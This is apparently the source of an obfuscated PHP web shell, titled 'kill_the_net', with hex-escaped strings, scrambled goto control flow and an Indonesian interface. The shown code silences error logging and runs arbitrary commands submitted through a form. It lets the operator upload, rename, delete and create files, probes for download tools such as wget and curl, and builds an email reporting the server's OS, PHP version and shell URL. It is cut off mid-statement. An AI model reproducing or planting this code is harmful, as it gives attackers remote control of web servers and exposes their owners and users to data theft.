"\74\x74\x64\40{$IIIIIIIlIllI}\x3e\x20\74\x62\76\x3c\x61\40\150\162\x65\146\x3d\x22{$IIIIIIIIII1I}\x26\x61\155\x70\x3b\143\150\144\151\162\x3d{$IIIIIIIlI1Il}\42\x3e\x3c\146\157\x6e\x74\x20\15\12\xd\xa\x63\157\x6c\157\162\x3d\x22\x23\x46\x46\106\106\x46\x46\x22\76{$file}\x3c\57\x66\157\x6e\164\76\74\x2f\141\76\74\57\142\x3e\40\x3c\57\x74\144\x3e"; ltb2zT2pC8: T5XO8TGyPj: goto psoKwOJmmN; hiFbppM4A0: FMbnWs1BCp: if (!@(!extension_loaded("\163\x68\x6d\x6f\160"))) { goto YwvjvNKIVQ; } echo "\x4c\x6f\x61\144\151\x6e\147\x2e\x2e\56\x20\x6d\x6f\144\165\x6c\x65\x3c\x2f\142\162\x3e"; if (strtoupper(substr(PHP_OS, 0, 3) == "\127\111\x4e")) { goto HKiVqUPREv; } @dl("\163\x68\x6d\157\x70\56\x73\x6f"); goto qmXssclJmY; C_1G4ptqhq: $IIIIIIIIlII1 .= "\101\x63\164\165\x61\154\40\x46\x69\154\x65\x73\x69\x7a\145\72\x20\40\x20\x20" . zip_entry_filesize($IIIIIIII1lIl) . "\15\xa"; $IIIIIIIIlII1 .= "\103\x6f\155\160\x72\145\x73\163\x65\x64\40\x53\151\x7a\145\x3a\40\x20\x20\x20" . zip_entry_compressedsize($IIIIIIII1lIl) . "\xd\xa"; $IIIIIIIIlII1 .= "\x43\157\x6d\160\162\145\163\x73\151\157\x6e\x20\x4d\x65\164\x68\x6f\144\x3a\x20" . zip_entry_compressionmethod($IIIIIIII1lIl) . "\15\12"; if (!zip_entry_open($IIIIIIII1I11, $IIIIIIII1lIl, "\x72")) { goto hqbY2Es0p7; } echo "\106\x69\154\x65\40\x43\157\x6e\164\x65\x6e\164\x73\x3a\xd\xa"; goto In1KZ73bHW; HdRvIa9MBa: error_reporting(0); @ini_set("\x65\x72\x72\x6f\162\137\154\157\x67", NULL); @ini_set("\x6c\157\x67\x5f\x65\162\x72\x6f\162\x73", 0); @ini_set("\144\151\163\160\154\x61\x79\137\x65\x72\x72\157\x72\163", 0); $ckUjYggTf = 0; goto V7eEhDZXb9; XmQzs1vYlt: echo "\x3c\151\156\160\x75\164\40\164\x79\160\x65\x3d\x22\x73\x75\x62\x6d\151\164\42\40\166\141\x6c\165\145\75\42\x53\151\x6d\160\141\156\x22\x20\156\141\155\x65\x3d\x22\x42\62\x22\40\163\164\x79\x6c\145\x3d\x22\40\40\142\157\x72\x64\x65\162\x3a\x20\x31\x70\x78\x20\x73\x6f\154\151\x64\40\15\12\15\12\x23\x46\x46\x46\x46\x46\106\42\76\x20"; echo "\74\x69\x6e\160\x75\164\x20\164\171\160\145\x3d\x22\142\165\x74\164\157\x6e\42\40\x76\x61\x6c\x75\x65\x3d\42\x54\165\164\165\x70\x22\40\15\12\xd\xa\117\156\x63\x6c\x69\x63\x6b\x3d\42\x6a\141\166\141\163\x63\162\151\160\x74\x3a\167\151\156\x64\157\x77\56\x6c\x6f\143\141\164\151\157\x6e\x3d\47{$IIIIIIIIII1I}\x26\x61\x6d\160\73\143\150\x64\151\162\75{$chdir}\47\x22\40\156\x61\155\x65\x3d\x22\x42\x31\42\40\163\164\171\154\145\75\x22\40\x20\15\xa\xd\xa\142\157\x72\144\x65\162\x3a\40\x31\x70\x78\x20\x73\x6f\x6c\151\144\x20\x23\106\106\x46\x46\x46\x46\x22\x3e\x20"; echo "\74\x2f\146\x6f\x72\x6d\x3e"; echo "\74\57\164\x64\76"; echo "\74\57\x74\162\x3e"; goto WJ3L2gmFbv; nbHDTQh1tO: echo "\x3c\x74\x64\40\x77\151\144\164\x68\75\x22\61\x30\x30\45\x22\76"; echo "\74\x66\157\162\x6d\40\x6d\x65\x74\x68\x6f\144\75\42\x50\117\123\124\42\x20\15\xa\15\12\141\x63\x74\151\x6f\156\75\42{$IIIIIIIIII1I}\x26\x61\x6d\x70\x3b\x61\x63\x74\151\x6f\156\x3d\163\x61\x76\145\46\141\x6d\160\73\143\150\x64\151\x72\75{$chdir}\46\x61\155\160\73\x66\151\154\145\75{$file}\x22\76"; echo "\x3c\41\x2d\x2d\x77\x65\x62\142\x6f\164\40\142\157\164\x3d\42\123\x61\166\145\x52\x65\163\165\x6c\164\x73\42\x20\165\55\146\x69\154\145\75\42\x5f\160\162\x69\166\x61\164\x65\57\x66\x6f\x72\x6d\x5f\x72\145\163\x75\x6c\164\163\56\143\x73\x76\x22\x20\15\xa\xd\12\163\55\x66\157\x72\x6d\x61\x74\75\x22\x54\105\130\x54\x2f\x43\x53\x56\42\x20\163\x2d\154\x61\142\x65\154\55\x66\151\x65\x6c\144\x73\x3d\42\124\x52\125\x45\x22\x20\x2d\55\76\74\160\x20\141\154\151\x67\156\x3d\42\143\145\156\164\145\162\42\x3e"; print "\74\x74\x65\x78\164\x61\x72\145\141\40\x72\x6f\x77\x73\75\x22\61\x38\x22\40\156\x61\x6d\x65\75\42\x53\x31\42\x20\x63\x6f\x6c\x73\75\x22\x38\71\x22\40\163\x74\171\x6c\145\x3d\x22\x66\157\156\164\55\146\141\155\151\x6c\171\72\40\x56\x65\162\x64\x61\156\x61\73\40\15\12\15\12\146\x6f\x6e\164\x2d\163\151\172\145\x3a\40\x38\160\164\73\x20\142\157\162\x64\x65\162\72\40\61\160\x78\40\x73\x6f\154\151\144\x20\43\106\x46\106\x46\x46\x46\x22\76{$IIIIIIII11lI}\74\x2f\x74\145\x78\x74\141\162\x65\141\76\74\x2f\160\x3e"; echo "\x3c\x70\x20\141\x6c\x69\147\156\75\x22\143\x65\156\164\145\x72\x22\76"; goto XmQzs1vYlt; LRAKF0Exgw: echo "\74\57\x74\x72\76"; ixxOmxSmUw: echo "\x3c\x74\x72\x3e"; echo "\74\164\x64\40\167\151\144\164\x68\x3d\42\x38\45\x22\x3e"; echo "\x20\74\142\x3e\111\120\40\74\57\142\x3e\x3c\57\x74\x64\x3e\x20"; goto Fw5IxQxGd9; chK9IBfJRz: if ($file == "\x2e\x2e\x2f") { goto sC9peFz4cs; } echo "\x3c\164\x64\40{$IIIIIIIlIllI}\76\x20\x3c\x61\40\15\12\xd\12\150\162\x65\146\75\42{$IIIIIIIIII1I}\46\141\x6d\x70\x3b\x63\x68\x64\151\162\x3d{$chdir}{$file}\42\76{$file}\x3c\x2f\141\76\74\57\x74\x64\76"; goto EmtkTD_FjW; sC9peFz4cs: echo "\x3c\164\x64\40{$IIIIIIIlIllI}\76\x20\x3c\141\40\x68\x72\x65\x66\x3d\42{$IIIIIIIIII1I}\x26\x61\x6d\160\73\x63\x68\144\x69\162\x3d{$IIIIIIIlI1Il}\x22\76{$file}\x3c\57\x61\76\40\xd\xa\15\xa\74\x2f\164\x64\x3e"; goto iu0_wjj4vs; IZiCevgX0Q: $IIIIIIIlI1ll = $IIIIIIIlI1ll / 1024; $IIIIIIIlI1ll = explode("\x2e", $IIIIIIIlI1ll); if (@$IIIIIIIlI1ll[1] != '') { goto Mb51YO0LpC; } $IIIIIIIlI1ll = $IIIIIIIlI1ll[0]; goto SI6dIp32ZJ; goto aqOHG9i3hX; pCQJSEz2ve: XcN6Afhvzm: goto T5XO8TGyPj; mC4Llr6uxH: if ($file == "\x2e\x2e\57") { goto HcCEiJ1BRo; } echo "\74\164\144\40{$IIIIIIIlIllI}\x3e\x20\x3c\142\x3e\74\141\x20\150\x72\145\146\75\x22{$IIIIIIIIII1I}\x26\141\x6d\x70\x3b\143\150\x64\x69\162\x3d{$chdir}{$file}\x22\76\74\x66\x6f\156\164\x20\xd\12\xd\12\x63\x6f\154\x6f\162\x3d\42\x23\x46\x46\106\106\x46\x46\x22\76{$file}\74\x2f\146\157\x6e\x74\x3e\74\x2f\x61\76\40\x3c\57\142\x3e\74\57\x74\144\x3e"; goto dXFJ28nKwU; KRB1hPdTyb: GlnGXkgbaD: $file = $_GET["\146\151\x6c\145"]; $newname = $_GET["\x6e\x65\x77\x6e\141\x6d\x65"]; if (@rename("{$chdir}" . "{$file}", "{$chdir}" . "{$newname}")) { goto DKv3V2Xb_I; } $IIIIIIIIlII1 = "\74\146\157\156\x74\x20\143\x6f\154\x6f\x72\75\x22\x23\x46\x46\x30\60\60\x30\x22\76\105\162\162\x6f\x72\72\x20\107\x61\147\x61\x6c\x20\155\145\156\x63\141\x6c\x6f\156\x6b\141\156\x20\141\x72\x73\x69\x70\56\x3c\x2f\146\x6f\x6e\x74\x3e"; goto Zsx7n_v38F; acFEUIEhPF: echo "\40\40\40\x20\x20\40\74\x74\x64\40\167\x69\144\164\150\75\x22\61\60\60\x25\x22\40\x63\157\154\x73\x70\x61\x6e\x3d\x22\64\x22\76\40\125\160\x6c\x6f\x61\144\72"; echo "\40\x20\40\x20\40\x20\74\151\x6e\x70\165\164\40\x74\x79\160\145\x3d\42\146\x69\x6c\145\42\40\156\141\x6d\145\75\42\165\163\x65\162\x66\x69\154\x65\42\x20\163\x69\172\145\x3d\x22\x36\65\42\x20\x73\164\171\x6c\x65\75\42\40\40\142\x6f\x72\x64\x65\162\x2d\x73\164\x79\154\145\72\x20\15\xa\15\xa\x73\x6f\x6c\151\x64\x3b\40\x62\157\162\x64\145\162\x2d\167\151\144\164\150\x3a\x20\61\x22\x3e"; echo "\40\40\40\x20\40\40\74\151\x6e\x70\165\164\x20\x74\171\x70\145\75\42\x73\x75\x62\x6d\151\x74\x22\40\x76\x61\154\165\145\75\x22\125\x50\x22\40\x6e\141\155\145\x3d\42\x42\x31\42\40\x73\x74\171\x6c\x65\75\42\x20\x62\x6f\x72\144\145\x72\72\x20\61\x70\170\40\163\157\154\x69\144\40\xd\12\15\12\x23\106\106\x46\106\106\106\x22\76\x3c\x2f\x74\144\x3e"; echo "\x20\40\x20\x20\x3c\x2f\164\162\76"; echo "\40\x20\x20\40\74\x74\x72\x3e"; goto bxTTQTgROv; Us0mLydtmw: vdK7JYFTE3: goto rogkI78w0M; HhTXWm_1nK: $file = $_GET["\x66\151\154\x65"]; $type = $_GET["\164\x79\x70\x65"]; goto cMhoEZgci3; QG39LtR795: echo "\x3c\x68\x74\x6d\154\x3e\15\12\74\x68\145\141\x64\76\15\12\x3c\155\x65\x74\141\40\150\x74\x74\160\x2d\x65\161\x75\x69\x76\75\42\x43\157\x6e\164\145\x6e\164\55\x4c\141\x6e\x67\165\141\x67\145\42\x20\143\x6f\x6e\164\x65\x6e\x74\x3d\42\160\164\x2d\142\162\x22\x3e\15\xa\74\x6d\x65\x74\x61\x20\156\x61\x6d\x65\75\42\x47\105\x4e\105\x52\101\124\117\122\x22\x20\143\157\156\164\145\x6e\164\x3d\x22\x4d\151\x63\x72\157\x73\x6f\x66\164\x20\x46\162\x6f\x6e\x74\x50\x61\x67\x65\40\x35\x2e\x30\x22\x3e\xd\12\x3c\155\x65\164\x61\40\156\141\x6d\145\x3d\42\x50\x72\157\x67\111\144\42\x20\143\x6f\x6e\x74\145\156\x74\x3d\42\x41\x6f\104\x22\76\xd\12\74\155\x65\164\141\x20\x68\x74\x74\160\55\145\x71\x75\151\x76\75\x22\103\157\x6e\164\x65\x6e\164\x2d\124\171\x70\145\42\x20\x63\x6f\156\x74\x65\x6e\164\75\x22\164\x65\x78\164\x2f\150\164\155\154\x3b\40\143\150\x61\x72\163\x65\x74\75\151\163\x6f\x2d\x38\x38\65\71\55\x31\42\x3e\15\12\74\x74\151\164\x6c\x65\76\40\x6b\x69\154\154\137\164\150\x65\137\156\x65\164\x20\74\57\164\x69\164\154\x65\76\15\xa\x3c\163\164\x79\x6c\145\x20\x74\171\x70\145\75\x22\164\x65\170\x74\x2f\x63\x73\x73\42\x3e\15\12\101\x3a\x6c\x69\x6e\153\x20\x7b\x74\145\x78\x74\x2d\144\x65\143\x6f\162\141\x74\x69\157\x6e\72\156\x6f\156\145\175\15\12\x41\72\166\x69\163\x69\164\145\144\40\173\164\x65\x78\x74\x2d\144\x65\143\x6f\x72\141\164\x69\157\156\x3a\156\x6f\156\145\175\xd\xa\x41\72\150\157\166\145\162\40\x7b\x74\145\x78\x74\x2d\x64\145\x63\157\x72\x61\164\151\157\156\72\165\x6e\x64\x65\x72\x6c\x69\156\145\175\15\xa\101\x3a\x61\143\164\x69\x76\145\40\173\164\x65\170\164\55\144\145\143\157\162\x61\x74\151\157\156\72\x75\156\144\x65\162\x6c\151\156\145\x7d\15\xa\142\x6f\x64\171\54\164\x64\40\x7b\xd\xa\x20\40\40\x20\x66\x6f\156\164\x2d\x66\x61\155\151\x6c\171\72\40\x76\x65\x72\x64\141\x6e\x61\73\15\12\x20\40\40\x20\146\x6f\156\x74\x2d\x73\151\x7a\145\72\40\70\x70\x74\x3b\15\12\40\x20\x20\x20\x62\141\143\153\147\x72\x6f\x75\x6e\x64\x2d\143\x6f\154\157\x72\x3a\x20\x23\x30\60\60\x3b\xd\xa\x7d\xd\12\x61\x7b\xd\12\x20\40\40\40\x63\157\154\157\x72\72\x20\43\x30\x30\60\60\x46\106\x3b\xd\xa\40\40\40\x20\164\145\170\x74\55\x64\145\x63\157\x72\x61\x74\x69\157\156\72\40\x6e\x6f\156\x65\x3b\xd\12\x20\x20\x20\40\146\157\x6e\x74\x2d\167\145\151\x67\150\x74\x3a\40\x62\157\154\144\73\15\xa\x7d\xd\xa\141\72\150\157\166\x65\162\x20\x7b\15\12\40\40\40\40\x63\x6f\x6c\157\x72\x3a\40\x23\x46\106\x30\60\60\60\73\xd\xa\40\40\x20\x20\164\x65\170\164\55\144\x65\143\x6f\162\141\x74\151\x6f\156\72\x20\165\x6e\x64\145\x72\x6c\x69\x6e\145\x3b\15\12\175\xd\xa\x62\x6f\144\x79\x2c\x74\144\x2c\164\x68\x20\x7b\15\xa\x20\40\40\40\x66\157\x6e\x74\x2d\x77\145\x69\147\x68\164\x3a\40\142\x6f\x6c\x64\x3b\15\12\x20\40\40\x20\143\157\154\x6f\x72\72\x20\43\60\x66\60\73\xd\12\175\xd\12\x3c\x2f\x73\164\x79\x6c\x65\76\15\xa\x3c\x2f\x68\x65\141\x64\76\xd\12\x3c\x62\157\144\x79\x20\x74\x65\x78\164\x3d\42\x23\106\106\x46\106\106\x46\x22\x20\76\15\12\x3c\x63\145\156\164\145\162\x3e\x3c\x68\x32\x3e\60\x78\66\66\x36\74\x2f\x68\x32\x3e\x3c\x2f\143\x65\x6e\x74\x65\162\76\xd\12\x3c\x63\x65\156\164\x65\x72\76"; @set_time_limit(0); $IIIIIIIIIIIl = $_SERVER["\121\125\105\122\x59\137\123\x54\x52\x49\x4e\107"]; $IIIIIIIIIII1 = "\163\150\x65\154\154\77"; $IIIIIIIIIIlI = explode("{$IIIIIIIIIII1}", $IIIIIIIIIIIl); goto AXoqVtgGpJ; In1KZ73bHW: $IIIIIIII1l11 = zip_entry_read($IIIIIIII1lIl, zip_entry_filesize($IIIIIIII1lIl)); echo "{$IIIIIIII1l11}\xd\xa"; zip_entry_close($IIIIIIII1lIl); hqbY2Es0p7: echo "\15\xa"; goto zIuKERCkce; OdYNIkBE4R: if (shmop_delete($IIIIIIII1II1)) { goto Sh9StFfaE4; } echo "\103\x6f\165\x6c\x64\156\47\x74\40\x6d\141\x72\153\x20\x73\150\141\x72\x65\144\40\x6d\x65\155\x6f\x72\x79\x20\142\x6c\x6f\x63\x6b\40\146\x6f\x72\40\144\145\x6c\x65\x74\151\157\x6e\x2e"; Sh9StFfaE4: echo passthru("\151\144"); shmop_close($IIIIIIII1II1); goto MfReCiwHGt; cgJoreVdpL: if (@touch("{$chdir}" . "{$newfile}")) { goto a9LQc2ECBt; } $IIIIIIIIlII1 = "\74\x66\x6f\156\164\x20\x63\x6f\x6c\157\x72\75\42\x23\x46\106\60\x30\x30\60\42\76\x45\162\x72\x6f\x72\72\40\120\x65\155\142\165\141\x74\141\156\x20\141\162\163\x69\160\40\x67\141\x67\141\x6c\41\x20\145\x6e\164\141\150\x3f\x3c\x2f\x66\x6f\156\164\76"; goto vdK7JYFTE3; a9LQc2ECBt: $IIIIIIIIlII1 = "\74\x66\x6f\x6e\164\x20\143\x6f\154\x6f\x72\x3d\42\x23\x46\x46\106\x46\106\106\x22\x3e\74\x66\x6f\156\164\40\143\x6f\154\x6f\x72\75\x22\43\106\106\106\x46\106\106\x22\x3e{$newfile}\74\x2f\146\x6f\156\164\76\54\40\142\145\162\150\x61\163\151\x6c\40\xd\xa\xd\xa\x64\x69\x62\x75\x61\164\41\40\171\x65\x20\x6b\x65\77\x20\74\x2f\x66\157\156\164\x3e"; goto Us0mLydtmw; V7CQkJcuug: if ($IIIIIIIIIllI == '') { goto Zdrnqz0xC9; } $IIIIIIIIIllI = "\x3c\151\x3e{$IIIIIIIIIllI}\x3c\57\151\76\x3c\x42\x52\76"; goto gED136UbMh; Zdrnqz0xC9: $IIIIIIIIIllI = "\x3c\151\76\117\x46\x46\x3c\x2f\x69\76\x3c\102\x52\x3e"; goto ibXajJlDH3; Je3JgAC0og: echo "\74\57\x74\162\76"; echo "\74\164\x72\76"; echo "\74\164\x64\40\x77\x69\144\x74\150\75\42\x38\45\42\x3e"; echo "\40\x3c\x62\76\116\x41\115\105\40\x3c\x2f\x62\76\74\x2f\x74\144\x3e\40"; echo "\x3c\164\x64\x20\167\x69\144\x74\150\x3d\42\x39\62\45\42\76\x3a\40{$IIIIIIIIIlII}\x3c\x2f\164\x64\76"; goto fkFhbVwCsw; cMhoEZgci3: if ($type == "\x66\x69\154\x65") { goto Ec9mmfBb6X; } if ($type == "\x64\x69\162") { goto LEoNK4J1RI; } goto GDrVi5KnZV; Ec9mmfBb6X: if (@unlink("{$chdir}" . "{$file}")) { goto QRx1kt8Imz; } goto Oe1_2R1SuR; kmCu32Vz3r: $IIIIIIIllIIl .= "\55\x2d{$IIIIIIIllIl1}\15\12"; b_IR8QcFgQ: if (!$IIIIIIIllIll) { goto lx0117bEOq; } $IIIIIIIllIIl .= "\103\157\156\x74\x65\x6e\164\x2d\x54\x79\x70\145\72\x20{$IIIIIIIllI11}\73\x20\156\141\155\x65\75\x22{$IIIIIIIllIll}\x22\xd\xa"; lx0117bEOq: goto njOKht_MR_; Oe1_2R1SuR: $IIIIIIIIlII1 = "\x3c\146\x6f\x6e\x74\40\143\x6f\154\x6f\x72\x3d\42\43\106\x46\60\x30\x30\x30\42\x3e\x45\x72\x72\157\x72\72\x20\x47\x61\x67\x61\x6c\40\x6d\145\156\x67\150\x61\160\x75\163\x20\141\162\163\x69\x70\40\x28\146\x69\154\x65\x29\x21\74\x2f\146\157\156\x74\x3e"; goto XCbBV0wwYa; QRx1kt8Imz: $IIIIIIIIlII1 = "\74\x66\x6f\x6e\164\x20\x63\157\154\157\162\75\x22\x23\106\106\106\x46\x46\x46\42\x3e\74\x66\157\156\164\x20\143\157\x6c\x6f\x72\x3d\42\43\x46\106\x46\x46\x46\106\42\x3e{$file}\x3c\57\146\x6f\x6e\x74\x3e\x2c\x20\102\x65\162\150\x61\x73\x69\x6c\40\xd\xa\xd\12\x6d\145\156\x67\x68\x61\x70\x75\x73\40\141\x72\163\x69\160\40\50\146\151\154\145\51\41\74\57\x66\x6f\x6e\164\x3e"; XCbBV0wwYa: goto TCmnoVAwGf; Ap7DeTAPdj: HhJUqqzSVi: if (!$IIIIIIIllIll) { goto Aaw9kjGSkK; } $IIIIIIIllIIl .= "{$IIIIIIIlllII}\15\xa"; Aaw9kjGSkK: if (!$IIIIIIIllIll) { goto r1Mwezv1Fb; } goto WbitVuTfP1; r7mfluI1gp: echo "\74\142\162\x3e\74\x74\141\142\x6c\145\40\142\x6f\162\144\145\162\75\x22\60\x22\x20\143\145\x6c\154\160\141\x64\144\151\156\147\75\42\60\x22\40\x63\x65\154\154\x73\x70\x61\x63\x69\156\147\75\x22\60\x22\40\163\164\171\x6c\x65\x3d\x22\142\157\x72\144\145\162\x2d\143\157\x6c\154\141\x70\163\145\72\x20\xd\12\xd\12\143\157\x6c\154\x61\160\163\145\73\40\x66\x6f\x6e\x74\x2d\146\141\155\151\x6c\x79\72\40\x56\145\x72\144\141\x6e\x61\73\x20\146\x6f\x6e\x74\x2d\163\151\172\x65\x3a\40\61\x30\160\170\x22\x20\167\x69\144\164\x68\x3d\42\61\60\60\45\x22\x3e"; echo "\74\x74\162\x3e"; echo "\74\x74\144\40\167\x69\x64\x74\x68\75\x22\70\x25\42\x3e"; echo "\40\74\x62\x3e\123\131\x53\x54\105\x4d\x20\74\57\142\76\40\74\57\164\x64\76\40"; echo "\x3c\x74\x64\40\x77\x69\144\x74\x68\x3d\x22\x39\62\x25\x22\x3e\72\x20{$IIIIIIIIII1l}\74\x2f\x74\x64\76"; goto Je3JgAC0og; jMcD3AC57I: $cmd = @$_POST["\143\155\x64"]; VMLMeChLTz: $cmd = stripslashes(trim($cmd)); $IIIIIIIIl1ll = cmd($cmd); $IIIIIIIIl1l1 = count($IIIIIIIIl1ll); goto UPpzNPU4Hp; ibXajJlDH3: gED136UbMh: $IIIIIIIlI111 = $_SERVER["\110\124\124\x50\x5f\x48\117\123\124"] . $_SERVER["\122\x45\121\125\105\x53\124\x5f\x55\x52\x49"]; $IIIIIIIllIII = "\x4f\123\40\x3d\40" . $IIIIIIIIII1l . "\74\102\122\76\125\116\x41\x4d\105\40\75\40" . $IIIIIIIIIlII . "\x3c\x42\x52\x3e\120\110\x50\x56\145\162\163\151\x6f\x6e\x20\75\40" . $IIIIIIIIIlIl . "\x3c\x42\122\x3e\123\141\x66\x65\40\115\x6f\x64\145\x20\x3d\x20" . $IIIIIIIIIllI . "\x3c\102\x52\x3e\x3c\x66\x6f\156\x74\40\143\157\x6c\157\x72\75\x62\154\x75\145\x3e\150\x74\164\x70\x3a\57\57" . $IIIIIIIlI111 . "\74\57\x66\x6f\156\x74\76\x3c\102\x52\76\111\156\x67\141\164\40\x6a\x61\156\147\x61\156\40\x70\141\153\x61\x69\40\x49\156\152\x65\x6b\40\x49\x6e\x69\x2e\74\102\x52\x3e\102\171\72\x20\102\x6c\165\x65\123\x70\171"; $IIIIIIIllIIl = "\x46\162\157\x6d\72\x20{$_SERVER["\x48\x54\124\120\137\x48\117\123\x54"]}\40\74{$IIIIIIIllII1}\x3e\xd\xa\x52\x65\160\x6c\x79\x2d\x54\x6f\72\x20{$IIIIIIIllIlI}\xd\12"; $IIIIIIIllIIl .= "\x4d\111\115\x45\x2d\x56\x65\162\x73\151\x6f\156\72\x20\61\x2e\x30\xd\12"; goto kF81yT74Q9; LD5lo116wr: echo "\74\41\x2d\x2d\167\x65\142\x62\157\x74\40\x62\x6f\x74\75\x22\x46\151\x6c\x65\125\x70\x6c\x6f\x61\144\42\x20\165\55\x66\x69\x6c\x65\75\x22\137\x70\162\151\x76\x61\164\145\57\146\x6f\x72\155\137\162\145\x73\x75\x6c\x74\x73\x2e\x63\163\x76\42\x20\xd\12\15\xa\163\55\146\x6f\x72\155\x61\164\x3d\42\x54\x45\130\x54\57\103\x53\x56\42\40\163\55\x6c\x61\142\x65\154\x2d\x66\x69\145\154\x64\163\75\42\x54\122\x55\x45\x22\x20\x2d\55\76\74\146\151\145\x6c\x64\x73\145\x74\x20\163\x74\x79\x6c\x65\75\x22\142\x6f\162\x64\145\162\x3a\x20\61\x70\x78\x20\x73\x6f\x6c\x69\144\40\xd\xa\15\12\43\106\x46\106\x46\106\x46\x3b\40\x70\141\144\144\151\x6e\x67\x3a\40\62\42\x3e"; if (is_writable("{$chdir}")) { goto y5F230gtjG; } if (strtoupper(substr($IIIIIIIIII1l, 0, 3) == "\127\x49\x4e")) { goto JLa1ZTnX6O; } echo "\x3c\x6c\145\x67\x65\156\144\x3e\104\x69\162\40\x4e\x4f\72\40{$chdir}\x20\55\x20\74\141\x20\x68\162\145\x66\75\42\43\133\x4e\x65\x77\x20\104\x69\162\135\x22\x20\xd\xa\xd\xa\x6f\x6e\x63\x6c\151\x63\153\75\42\115\153\x64\151\162\50\47{$chdir}\47\51\x3b\x22\76\106\157\x6c\x64\145\162\x20\x42\x61\162\165\74\57\141\x3e\40\x7c\x20\x3c\x61\40\x68\162\145\146\75\x22\43\133\116\x65\167\x20\106\151\x6c\x65\135\x22\40\xd\xa\xd\xa\157\156\143\154\151\x63\x6b\75\x22\x4e\145\167\146\x69\154\x65\50\x27{$chdir}\47\x29\42\76\103\x52\111\101\x52\40\x41\x52\121\125\x49\126\x4f\74\57\x61\x3e\40\x7c\x20\x3c\x61\40\15\xa\15\xa\150\x72\145\146\x3d\42{$IIIIIIIIII1I}\x26\141\155\160\73\141\143\x74\151\x6f\156\75\x62\x61\143\153\x74\157\x6f\x6c\x26\141\155\160\73\x63\150\x64\151\x72\x3d{$chdir}\x26\x61\155\160\x3b\x77\x72\151\x74\145\75\x6e\x6f\x22\x3e\113\145\155\x62\141\x6c\151\x3c\x2f\x61\76\74\x2f\x6c\145\x67\x65\156\144\76\15\12\xd\12"; goto ChJti8dsEj; goto LxfVO7o1kQ; tm8E5kK0vv: $IIIIIIIlIIll = htmlspecialchars($IIIIIIIlIIll); function IIIIIIIlIIl1() { goto hRYOXC6VVu; XEhNC5Kr7q: u6z2QveSK3: return $IIIIIIIlII1I; goto HjhQ7KoJm3; hRYOXC6VVu: $IIIIIIIlII1I = ''; if (!@file_exists("\x2f\165\163\x72\57\142\x69\156\x2f\167\x67\145\x74")) { goto JaocvlFP2s; } $IIIIIIIlII1I .= "\167\x67\145\164\40"; JaocvlFP2s: if (!@file_exists("\57\165\x73\162\57\x62\x69\x6e\57\146\145\164\143\150")) { goto LQLQ8Q8d1A; } goto t3pm0EoduI; t3pm0EoduI: $IIIIIIIlII1I .= "\x66\x65\x74\143\150\x20"; LQLQ8Q8d1A: if (!@file_exists("\57\165\163\162\x2f\x62\151\x6e\x2f\143\x75\162\x6c")) { goto JtEaeN8QfO; } $IIIIIIIlII1I .= "\x63\x75\x72\x6c\x20"; JtEaeN8QfO: goto RwNFFP2JsR; RwNFFP2JsR: if (!@file_exists("\57\x75\x73\162\57\142\x69\x6e\x2f\x47\x45\124")) { goto oeeEMEE18x; } $IIIIIIIlII1I .= "\x47\x45\x54\40"; oeeEMEE18x: if (!@file_exists("\x2f\x75\163\162\57\142\x69\x6e\57\x6c\x79\x6e\x78")) { goto u6z2QveSK3; } $IIIIIIIlII1I .= "\154\x79\156\x78\x20"; goto XEhNC5Kr7q; HjhQ7KoJm3: } echo "\x3c\146\157\x72\155\x20\x6d\145\164\150\x6f\144\x3d\x22\x50\x4f\123\124\x22\40\x6e\141\x6d\145\75\42\143\x6d\x64\x22\x20\xd\12\15\xa\141\143\164\151\x6f\156\x3d\x22{$IIIIIIIIII1I}\46\x61\x6d\x70\73\x61\143\x74\151\x6f\156\x3d\x63\155\x64\x26\141\155\x70\x3b\x63\x68\x64\x69\x72\x3d{$chdir}\x22\x3e"; echo "\x3c\146\151\x65\x6c\144\163\x65\164\x20\163\164\171\x6c\145\75\42\142\157\162\144\145\x72\x3a\40\61\x70\170\40\163\x6f\154\151\x64\40\43\x46\x46\106\106\x46\106\x3b\40\x70\x61\144\144\151\x6e\147\72\x20\x32\x22\x3e"; echo "\74\154\x65\147\145\x6e\x64\40\163\x74\x79\154\x65\x3d\x27\143\157\x6c\x6f\162\x3a\43\60\106\60\x27\x3e\111\x4e\x46\x4f\74\57\x6c\x65\x67\145\156\x64\76"; goto r7mfluI1gp; Dy_ksVD1pH: $IIIIIIIIlII1 = "\74\x66\x6f\x6e\164\40\x63\157\x6c\157\x72\75\42\43\x46\x46\106\x46\106\x46\x22\76\74\146\157\x6e\x74\40\143\x6f\154\x6f\162\x3d\42\x23\x46\106\x46\106\106\x46\x22\76{$newdir}\x3c\x2f\146\157\x6e\164\76\54\40\x66\x6f\154\144\x65\162\x20\xd\xa\103\162\x65\x61\x74\x65\x64\56\40\x3c\57\x66\x6f\156\x74\x3e"; GDjq9F_QA8: goto rogkI78w0M; W4PhOevde7: $newfile = $_GET["\x6e\145\167\x66\151\x6c\145"]; goto cgJoreVdpL; GNnrVWjarH: echo "\x3c\x2f\164\x72\76"; if (!strtoupper(substr($IIIIIIIIII1l, 0, 3) != "\127\111\116")) { goto ixxOmxSmUw; } $IIIIIIIlII1l = IIIIIIIlIIl1(); if (!($IIIIIIIlII1l == '')) { goto wLKZcMpeGD; } $IIIIIIIlII1l = "\77\77\x3f"; goto bI6qWEvbrh; psoKwOJmmN: HY8t4C7JT5: echo "\74\x74\x64\40\141\x6c\151\x67\156\75\x22\x72\x69\147\x68\164\42\40{$IIIIIIIlIllI}\x3e\40{$IIIIIIIlI1ll}\x20\x4b\102\74\57\164\144\76"; if ($IIIIIIIlIll1 == "\x65\144\151\x74") { goto YJMuiJwZsR; } echo "\74\164\144\x20\x61\x6c\x69\147\x6e\x3d\x22\143\145\156\164\145\162\x22\x20{$IIIIIIIlIllI}\76\x20\74\x61\x20\150\x72\145\146\x3d\x22\43{$file}\42\40\xd\12\15\12\157\156\x63\154\x69\143\153\75\x22\122\x65\x6e\x61\155\x65\50\47{$chdir}\x27\54\x20\x27{$file}\47\x2c\40\x27{$IIIIIIIlIll1}\x27\51\x22\76\122\145\x6e\141\155\145\x3c\x2f\x61\x3e\x20\174\x20\74\141\x20\15\xa\xd\xa\150\x72\145\x66\75\42{$IIIIIIIIII1I}\46\x61\155\160\x3b\141\143\x74\151\157\x6e\x3d\x64\145\x6c\46\x61\x6d\160\x3b\x63\150\144\151\x72\75{$chdir}\x26\x61\x6d\160\x3b\x66\x69\x6c\145\x3d{$file}\x26\x61\x6d\x70\x3b\164\171\160\x65\75\144\x69\162\x22\x3e\104\x65\x6c\x3c\57\x61\x3e\40\15\12\xd\xa\x7c\40\x3c\141\x20\x68\162\x65\146\x3d\x22\x23{$f